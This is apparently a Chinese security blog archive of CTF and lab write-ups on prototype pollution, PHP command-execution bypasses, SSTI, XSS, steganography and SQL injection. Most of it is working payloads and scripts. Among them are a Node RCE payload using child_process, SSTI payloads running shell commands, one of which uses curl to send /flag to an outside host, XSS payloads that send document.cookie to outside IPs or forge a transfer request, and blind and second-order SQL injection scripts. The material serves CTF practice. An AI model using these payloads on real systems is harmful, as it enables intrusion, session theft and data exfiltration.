Web安全 on KePulsary

原型链污染

Tue, 18 Jan 2022 00:00:00 +0000

原型链污染

type first

1
2
3
4
5
6


linux:
 sudo su ---> get root
 apt install nodejs --->get nodejs
 apt install npm --->get npm
windows:
	https://nodejs.org/

what is it??

原型链污染的概念是什么?

在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


function Foo() {
 this.bar = 1
}

Foo.prototype.show = function show() {
 console.log(this.bar)
}

let foo = new Foo()
foo.show()

//output -> 1

我们可以认为原型prototype是类Foo的一个属性，而所有用Foo类实例化的对象，都将拥有这个属性中的所有内容，包括变量和方法。

我们可以通过Foo.prototype来访问Foo类的原型，但Foo实例化出来的对象，是不能通过prototype访问原型的。

一个Foo类实例化出来的foo对象，可以通过foo.__proto__属性来访问Foo类的原型

简而言之：用 prototype 无法直接访问，需要使用 __proto__ 访问。prototype 是一个指针属性。

1
2
3


foo.__proto__ == Foo.prototype 
console.log(foo.__proto__ == Foo.prototype)
//output -> true

__proto__：指向原型对象的构造器。
constructor：指向当前对象的构造器。

原型链污染是什么?

foo.__proto__指向的是Foo类的prototype。那么，如果我们修改了foo.__proto__中的值，就可以修改Foo类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型（即Object）
foo.__proto__.bar = 2

// 由于查找顺序的原因，foo.bar仍然是1 //jiujinyz
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)//output --> 2

哪些情况下原型链会被污染

哪些情况下我们可以设置__proto__的值呢？其实找找能够控制数组（对象）的“键名”的操作即可

1
2
3
4
5
6
7
8
9


function merge(target, source) {
 for (let key in source) {
 if (key in source && key in target) {
 merge(target[key], source[key])
 } else {
 target[key] = source[key]
 }
 }
}

在合并的过程中，存在赋值的操作target[key] = source[key]，那么，这个key如果是__proto__，是不是就可以原型链污染

1
2
3
4
5
6
7


let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

JSON解析的情况下，__proto__会被认为是一个真正的“键名”

example KittenDIY 150pt

code

1

//......

test

1
2
3
4


curl -H 'Content-Type: application/json' http://localhost:3000/diy -d '{"fakename":"asd"}'

curl -H 'Content-Type: application/json' http://localhost:3000/diy -d '{"__proto__":"asd"}'
//TypeError: JSON-Patch: modifying `__proto__` prop is banned for security reasons

由于出题人太懒post没写回显所以post没反应很正常，自己切回主页就能看到效果

bypass

1
2


console.log(kitten.__proto__ == kitten.constructor.prototype)
//output --> true

payload here push

1
2
3


"path": "/" + property

curl -H 'Content-Type: application/json' http://localhost:3000/diy -d '{"constructor/prototype/ffffake":"asd"}'

CVE-2020-7699 https://www.freebuf.com/vuls/246029.html

rce payload

curl -H 'Content-Type: application/json' http://localhost:3000/diy -d "{\"constructor/prototype/outputFunctionName\":\"_tmp1;global.process.mainModule.require('child_process').exec('curl 127.0.0.1:11333');var __tmp2\"}"

CTFshow 刷题记录

Tue, 10 Aug 2021 00:00:00 +0000

CTFshow 刷题记录

刷题整理…待补充

1

变量覆盖函数

extract()
parse_str()

读取变量

get_defined_vars
超全局变量
implode — 将一个一维数组的值转化为字符串
$_GLOBALS

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞，导致了正则过滤被绕过,所以可以使用%00截断正则匹配

异常处理类

Exception
ReflectionClass

getchwd() 函数返回当前工作目录。
FilesystemIterator(getcwd)

伪协议

//支持伪协议
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
****compress.zlib://flag.php
//传入一个伪协议时 is_file返回false 不影响file_get_content highlight_file
php://filter/read=string.rot13/resource=flag.php

未解

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
//目录溢出

在num加空格绕过is_numeric()
%20 %09 %0c
trim — 去除字符串首尾处的空白字符（或者其他字符）
" " (ASCII 32 (0x20))，普通空格符。
"\t" (ASCII 9 (0x09))，制表符。
"\n" (ASCII 10 (0x0A))，换行符。
"\r" (ASCII 13 (0x0D))，回车符。
"\0" (ASCII 0 (0x00))，空字节符。
"\x0B" (ASCII 11 (0x0B))，垂直制表符。

2

1
2
3
4
5
6


if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}

preg_match不匹配数组，传入num[]=1

在线进制转换 (oschina.net)

1
2
3
4
5
6
7
8


if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}

进制绕过 16进制，8进制，空格加八进制小数点科学计数法

php7以后传参的十六进制会解析为字符串这里intval会强制转换

3

(26条消息) PHP正则表达式 /i, /s, /x,/u, /U, /A, /D, /S等模式修饰符_cjsyr_cjsyr的专栏-CSDN博客_php 正则u

1
2
3
4
5
6
7
8


if(preg_match('/^php$/im', $a)){
 if(preg_match('/^php$/i', $a)){
 echo 'hacker';
 }
 else{
 echo $flag;
 }
}

/im 匹配多行 /i 匹配单行传入a%0aphp %0a -> \n

4

md5查看博客MD5 – Staryのblog

sha1比较

GET V2[]=1
POST V1[]=2
sha1(Array[])=NULL

aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

5

1
2
3
4
5


include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

没关报错，用报错把flag爆出来

6

1
2
3
4
5
6


for ($i=36; $i < 0x36d; $i++) { 
 array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
 file_put_contents($_GET['n'], $_POST['content']);
}

in_array弱比较？？

14.php也可以。。。

7

PHP运算符优先级一览表 (biancheng.net)

先赋值再and

1
2


$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
$v0=is_numeric($v1);

8

反射类ReflectionClass 类报告了一个类的有关信息。

1

echo new Reflectionclass

9

hex2bin(5044383959474e6864434171594473)=PD89YGNhdCAqYDs
base64-decode(PD89YGNhdCAqYDs)='<?=`cat *`;'

ctfshow命令执行

搜索引擎http://helosec.com/ 正则解释https://regexper.com/

web31

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
 eval($c);
 }
 
}else{
 highlight_file(__FILE__);
}

过滤 flag system php cat sort shell . 空格 ’

payload:?c=eval($_GET[1]);&1=system(“cat flag.php”);

官方wp show_source(next(array_reverse(scandir(pos(localeconv()))))); array_reverse：以相反的元素顺序返回数组 scandir：列出指定路径中的文件和目录 pos？？？ localeconv() 函数返回一包含本地数字及货币格式信息的数组。？？？？？

web32

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
 eval($c);
 }
 
}else{
 highlight_file(__FILE__);
}

payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php include：利用文件包含 php伪协议：php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件 base64在线解码：https://base64.us/

官方wp：c=$nice=include$_GET[“url”]?>&url=php://filter/read=convert.base64 encode/resource=flag.php ?>代替分号

web33

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
 eval($c);
 }
 
}else{
 highlight_file(__FILE__);
} 

过滤 “flag” “system” “php” “cat” “sort” “shell” “.” “ ” “’” “`” “echo” “;” “(” “”” payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php include：利用文件包含 php伪协议：php://filter/read=convert.base64-encode/resource=flag.php 用base64编码读取文件 base64在线解码：https://base64.us/

官方wp：c=?>&1=php://filter/read=convert.base64- encode/resource=flag.php ?><?干啥用？？？？？

web34

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


<?php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
 eval($c);
 }
 
}else{
 highlight_file(__FILE__);
}

payload: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 官方wp：c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

。。。。。一模一样

web36

过滤数字把上面的1换成a

web 37

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/flag/i", $c)){
 include($c);
 echo $flag;
 
 }
 
}else{
 highlight_file(__FILE__);
}

data伪协议 payload:?c=data://text/plain, POST A=cat flag.php 官方wp：data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

过滤php 把 POST A=cat flag.php

web39

如上 hint：data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了，所以后面的.php会被当成html页面直接显示在页面上，起不到什么作用

web40

1
2
3
4
5
6
7
8
9


<?php
if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
 eval($c);
 } 
}else{
 highlight_file(__FILE__);
}

过滤的中文括号读取当前文件夹文件：?c=print_r(scandir(pos(localeconv()))); payload：?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv()：返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos()：返回数组中当前元素的值 scandir()：获取目录下的文件 array_reverse()：将数组逆序排列 next()：函数将内部指针指向下一元素，并输出

官方wp： show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃通过cookie获得参数进行命令执行 c=session_start();system(session_id()); passid=ls

web41

不会来个大佬教我！！！

web42

payload：c=ls;%0a也行||也行 ;执行多个命令

web43

; cat 过滤用%0a 和 tac 等等

web44

; cat flag过滤用%0a 和 tac fla?.php fla*.php fl\ag.php等等

web45

过滤空格 echo$IFStac$IFS*%0A payload：/?c=tac${IFS}fla?.php%0a system中 ${IFS}代替空格

web46 web47 web48 web 49 web50

tac|more|less|curl|nl|tail|sort|strings读取

过滤了$ %09代替 /?c=tac%09fla?.php%0a（web50过滤%09） nl<fla’’g.php||（查看源码）

web51

过滤$,nl 用nl${IFS}fla’’g.php||

ctfshow ssti

361

猜测参数是name

payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
 {% for b in c.__init__.__globals__.values() %}
 {% if b.__class__ == {}.__class__ %}
 {% if 'eval' in b.keys() %}
 {{ b['eval']('__import__("os").popen("id").read()') }}
 {% endif %}
 {% endif %}
 {% endfor %}
{% endif %}
{% endfor %}

{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}

执行任意命令

362

上面一个可以过

363

1

{{request["__cl"+"a"+"ss__"].mro()[-1]['__subcla'+'sses__']()[182].__init__['__glob'+'als__']['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}

363

过滤引号

?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.arg1](request.args.arg2).read()}}&arg1=popen&arg2=cat /flag

364

过滤args

?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.x1](request.cookies.x2).read()}}

cookies:x1=popen;x2=cat /flag

365

过滤方括号

?name={{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(request.cookies.arg2).read()}}

cookie:arg2=cat /flag

366–367

?name={{(x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}}



Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__('os').popen('cat /flag').read()

{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}

368

?name={%print((x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5))%}

Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__('os').popen('cat /flag').read()

369

(89条消息) SSTI模板注入绕过（进阶篇）_羽的博客-CSDN博客_ssti绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}


s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t

ctfshow xss

基本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<script>
var img=document.createElement("img"); img.src="http://47.106.248.56/123.php?1="+document.cookie;
</script>

<script>window.open('http://ip/php/123.php?1='+document.cookie)</script>

<script>window.location.href='http://ip/php/123.php?1='+document.cookie</script>

<script>location.href='http://47.106.248.56/123.php?1='+document.cookie</script>

<input onfocus="window.open('http://47.106.248.56/123.php?1='+document.cookie)" autofocus>

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
 
<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

<body onload="window.open('http://47.106.248.56/123.php?'+document.cookie)">

320

1

<body/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)">

321

1

<iframe/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)"></iframe>

322

1

<body/onload="window.open('http://47.106.248.56/123.php?1='+document.cookie)">

329

<script>window.open('http://ip/php/123.php?1='+document.getElementsByTagName('html')[0].innerHTML</script>

330

var img = new Image();
img.src = "http://ip/php/123.php?1="+document.querySelector('#top > div.layui-container').tex tContent;
document.body.append(img);

<script src="http://ip/php/xss.js"></script>

<script>window.open('http://ip/php/123.php?1='+document.querySelector('#top > div.layui-container').textContent)</script>

331

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


var httpRequest = new XMLHttpRequest();//第一步：创建需要的对象
httpRequest.open('POST', 'url', true); //第二步：打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注：post方式必须设置请求头（在建立连接后设置请求头）
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
 * 获取数据后的处理程序
 */
httpRequest.onreadystatechange = function () {//请求后的回调接口，可将请求成功后要执行的程序写在其中
 if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
 var json = httpRequest.responseText;//获取到服务端返回的数据
 console.log(json);
 }
};


<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/amount.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('u=123&a=100000');</script>

<script>window.open('http://ip/php/123.php?1='+document.querySelector('#top > div.layui-container').textContent)</script>

332

<script src=http:********111.js></script>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$.ajax({
 url: "http://127.0.0.1/api/amount.php",
 method: "POST",
 data:{
 'u':'123',
 'a':10000
 },
 cache: false,
 success: function(res){
 
 }});

XMLHttpRequest—必知必会 - 简书 (jianshu.com)

xss其他标签下的js用法总结大全 - Hookjoy - 博客园 (cnblogs.com)

Ctfshow Misc

作者 STARY

所用工具 binwalk foremost exiftool bpgviewer tweakpng zsteg

1

直接给了

2

打开txt文件一堆乱码

搜索flag未果

改文件格式为.jpg得到flag

010查看文件头png。。。没差

3

用bpgviewer打开

4

改后缀拼起来就是

5

010打开在最后几行

6

010打开找的到

7

010搜素ctfshow

8

binwalk和foremost分离得到图片flag

CTF中图片隐藏文件分离方法总结 – 夹心果果 – 博客园 (cnblogs.com)

9

010搜索

10

binwalk分解得到文件

打开就是

11

tweakpng删除第一个IDAT块得到新图片

IDAT？

12

删IDAT块。。有什么讲究吗

13

这地方像flag

每两中间有个多余的

python删掉发现flag不对

看了wp发现16进制的不一样。。。。。wtm？？

14

binwalk查看

手动分离jpg

分离方法总结 – 夹心果果 – 博客园 (cnblogs.com)

15

010打开

16

binwalk分离，flag在DD4这个文件里，具体原理还不清楚

17

看wp 需要先用zsteg提取数据，然后再用binwalk分离，最后得到一张png即为flag

zsteg 17.png

zsteg -E ‘extradata:0’ misc17.png > 17.tmp

binwalk 17.png -e

(27条消息) 隐写工具zsteg安装和使用方法_丶没胡子的猫-CSDN博客_zsteg安装

18

拼接一下

用exiftool工具读

19

用exiftool工具读

20

exif

西替爱抚秀大括号西九七九六四必一诶易西爱抚零六易一弟七九西二一弟弟诶弟五九三易四二大括号

SQL 注入小结

Tue, 20 Jul 2021 00:00:00 +0000

SQL 注入小结

闭合方式 ‘ “ ) ‘) “) )) ‘)) “)) 等等

基本思路，找到注入点->判断注入类型->注入

基本语句

1' or 1=1 %23 //字符型注入

1' or 1=1 union select 1,2,3,4%23 //报错字段为3

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //爆全部库库名 

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'ctftraining'%23 //查库

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag'%23 //查水表

-1' union select 1,2,flag from ctftraining.flag%23 //跨库查询

// %23为 # 的url编码

报错注入

1' or updatexml(1,concat(0x26,database(),0x26),1)#

1' or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)#

1' or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)#
左右拼接一下就是库名
····中间差不多不多赘述了

1' or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1)#

1' or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1)#
左右拼接一下就是flag

另一个函数 注：该函数一次只能查询32位长度
extractvalue(1,concat(0x26,(SQL语句),0x26));

盲注

脚本灵活应用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


import requests

url = "http://192.168.43.164/Less-62/index.php"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload="?id=1')and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))>{},1,0)%23".format(i,mid)
 payload="?id=1')and if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='challenges'),{},1))>{},1,0)%23".format(i,mid)
 # payload="?id=1')and if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='S3BCU54QBK'),{},1))>{},1,0)%23".format(i,mid)
 # payload="?id=1 and if(ascii(substr((seLect(secret_ATH5)from(challenges.S3BCU54QBK)),{},1))>{},1,0)%23".format(i,mid)
 # print(url+payload)

 r=requests.get(url+payload)

 if "Your Login name : Angelina" in r.text:
 head=mid+1
 else:
 tail=mid
 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

时间盲注

在盲注脚本上做点改动

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


import requests

url = "http://583bbd02-c708-41eb-86ab-f792729f9843.node4.buuoj.cn/Less-53/?sort=1' and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 payload="if(ascii(substr(database(),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select flag4s from ctfshow.flags),{},1))>{},sleep(0.5),0) %23".format(i,mid)
 # print(url+payload)
 # start_time=time.time()
 print(url+payload)
 r=requests.get(url+payload)

 #print(r.text)
 try:
 r = requests.get(url+payload,timeout=0.4)
 tail = mid

 except:
 head = mid + 1

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

post型盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-14/"

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # data={"uname": "1') or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 # data={"uname": "1') or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 data={"uname": "1\" or if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) #".format(i,mid),"passwd": 1}
 
 r=requests.post(url=url,data=data)
 # print(r.text)
 time.sleep(1)
 if "flag.jpg" in r.text:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

二次注入

举例注册处无注入，改密处出现注入思路跑脚本注册来实现注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


import requests
session=requests.session()
i=0
result=""

for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 payload = f'if(ascii(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0) #'
 # payload = f'if(ascii(substr((select group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},sleep(0.7),0)'
 # payload = 'if(ascii(substr((select group_concat(flag4s)from(ctfshow.flags)),{},1))>{},1,0)#'.format(i,mid)
 password = "admin' and {}".format(payload)
 
 
 # url1 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login_create.php'
 # data1 = {
 # 'username': username,
 # 'password': '1',
 # 're_password': '1',
 # 'submit': 'Register'
 # }
 # r1 = session.post(url1, data=data1)
 
 
 url2 = 'http://3878e6f6-d552-4c1d-9269-d2845b0877af.challenge.ctf.show:8080/login.php'
 data2 = {
 'login_user': 'admin',
 'login_password': password,
 'mysubmit': 'Login',
 }
 r2 = session.post(url2, data=data2)

 url3 = 'http://3878e6f6-d552-4c1d-9269-d2845b0877af.challenge.ctf.show:8080/logged-in.php'
 r3 = session.post(url=url3)

 if "admin" in r3.text:
 head=mid+1
 else:
 tail=mid


 if head !=32 and head !=127:
 result+=chr(head)
 print(head)
 else:
 break
 
 print(result)

堆叠注入

1';show databases;#
1';show tables;#
1';show columns from FlagHere;#
1'; HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

一个知识点： HANDLER … OPEN语句打开一个表，使其可以使用后续HANDLER … READ语句访问，该表对象未被其他会话共享，并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

读取FLAG的内容

宽字节注入

addslashes()转义 %df

WAF

大小写绕过空格绕过括号或///或者 tap %20 双写绕过 http参数污染 like代替= rlike 十六进制代替文字(过滤引号 select被过滤时用desc倒序查看字段也可以堆叠注入，或者预处理编码绕过二次编码

写入webshell

@@basedir @@datadir 获取绝对路径 union select 1,2,’‘into outfile ‘路径’

SQL-Labs 刷题记录

Tue, 20 Jul 2021 00:00:00 +0000

SQL-Labs 刷题记录

注：本文脚本需要根据自身情况修改

第一关

?id=1’ or 1=1 %23 //字符型注入 ?id=1’ or 1=1 union select 1,2,3,4%23 //报错字段为3 ?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //爆全部库库名 challenges,ctftraining,information_schema,mysql,performance_schema,security,test ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘ctftraining’%23 //查库 ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘flag’%23 //查水表 ?id=-1’ union select 1,2,flag from ctftraining.flag%23 //跨库查询

第二关

?id=1’ or 1=1 # 报错’ or 1=1 LIMIT 0,1 考虑数字型注入 ?id=1 or 1=1 //成功为数字型注入 ?id=-1 union select 1,2,flag from ctftraining.flag%23 接下来的步骤和第一关一样

第三关

?id=1’)or 1=1 # //接下来应该一样 ?id=-1’) union select 1,2,flag from ctftraining.flag%23

第四关

?id=1“)or 1=1 # //接下来应该一样 ?id=-1”) union select 1,2,flag from ctftraining.flag%23

第五关

报错注入也行 ?id=2’and 1=1 %23 ?id=2’and 1=2 %23无回显

贴上我的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import requests
import time
url = "http://46be5e92-e82c-4f5b-a5b9-5a6fa17b8493.node4.buuoj.cn/Less-5/?id=2 'and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 # payload="if(ascii(substr(database(),{},1))>{},1,0) %23".format(i,mid) #查所在库
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) %23".format(i,mid) #查全部库
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},1,0) %23".format(i,mid) #查水表名
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},1,0) %23".format(i,mid) #查水表
 payload="if(ascii(substr((select flag from ctftraining.flag),{},1))>{},1,0) %23".format(i,mid) #爆flag
 # print(url+payload)
 r=requests.get(url+payload)
 # print(r.text)
 time.sleep(1) #buu蛋疼的限制所限制
 if "You are in..........." in r.text:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第六关

脚本中url的 ‘ 改 \“ 就行了

第七关

到第一关查路径先 ?id=-1’union select 1,@@basedir,@@datadir %23 Your Login name:/usr Your Password:/var/lib/mysql/ emmmm网站路径写不进去？？？？上面那个貌似不是路径记录一下还没写出来语句是union select 1,2,’‘into outfile ‘路径’

第八关

第五个脚本可以用

第九关

判断闭合 and if(1=2,1,sleep(10)) # 看刷新时间一般闭合为 ‘ “ ‘) “)多试试加括号。。。应该是这样时间盲注贴给脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import requests
import time
url = "http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-9/?id=2 'and "

result=""
for i in range(1,1290):
 head=32
 tail=127
 while head<tail:
 mid=(head+tail)>>1
 payload="if(ascii(substr(database(),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},1,0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
 # payload="if(ascii(substr((select flag from ctftraining.flag),{},1))>{},sleep(1),0) %23".format(i,mid)
 # print(url+payload)
 start_time=time.time()
 r=requests.get(url+payload)
 #print(r.text)
 if time.time()-start_time>=1:
 head=mid+1
 else:
 tail=mid

 if head !=32:
 result+=chr(head)
 else:
 break
 
 print(result)

第十关

把上面payload的’改为"

第十一关

